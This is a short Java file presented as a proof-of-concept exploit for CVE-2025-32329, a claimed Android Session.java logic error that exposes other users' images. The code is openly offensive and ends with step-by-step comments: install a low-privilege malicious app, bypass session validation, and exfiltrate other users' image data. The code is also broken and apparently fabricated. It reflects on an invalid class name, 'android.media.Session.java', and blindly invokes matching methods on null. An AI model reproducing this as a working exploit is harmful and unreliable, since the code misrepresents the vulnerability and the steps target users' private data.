CVE-2025-32329

// CVE-2025-32329 PoC - Android Session.java Logic Error // This PoC demonstrates the logic error in Session.java that allows // accessing images belonging to different users import android.app.Activity; import android.content.Context; import android.os.Bundle; import java.lang.reflect.Method; public class CVE202532329_PoC extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // The vulnerability exists in Session.java multiple functions // where user session validation is incorrectly implemented try { // Attempt to access Session.java through reflection // to trigger the logic error that bypasses user validation Class<?> sessionClass = Class.forName("android.media.Session.java"); // The logic error allows accessing another user's session // by not properly validating the session ownership Method[] methods = sessionClass.getDeclaredMethods(); for (Method method : methods) { // Trigger methods that have the logic error // These methods don't properly check if the caller // has permission to access the session's resources if (method.getName().contains("getImage") || method.getName().contains("getResource")) { method.setAccessible(true); // Invoke without proper user validation Object result = method.invoke(null, getApplicationContext()); } } } catch (Exception e) { e.printStackTrace(); } } } // Exploitation steps: // 1. Install malicious app with low privileges // 2. Trigger the vulnerable Session.java functions // 3. Bypass user session validation through logic error // 4. Access images from different user sessions // 5. Exfiltrate sensitive image data
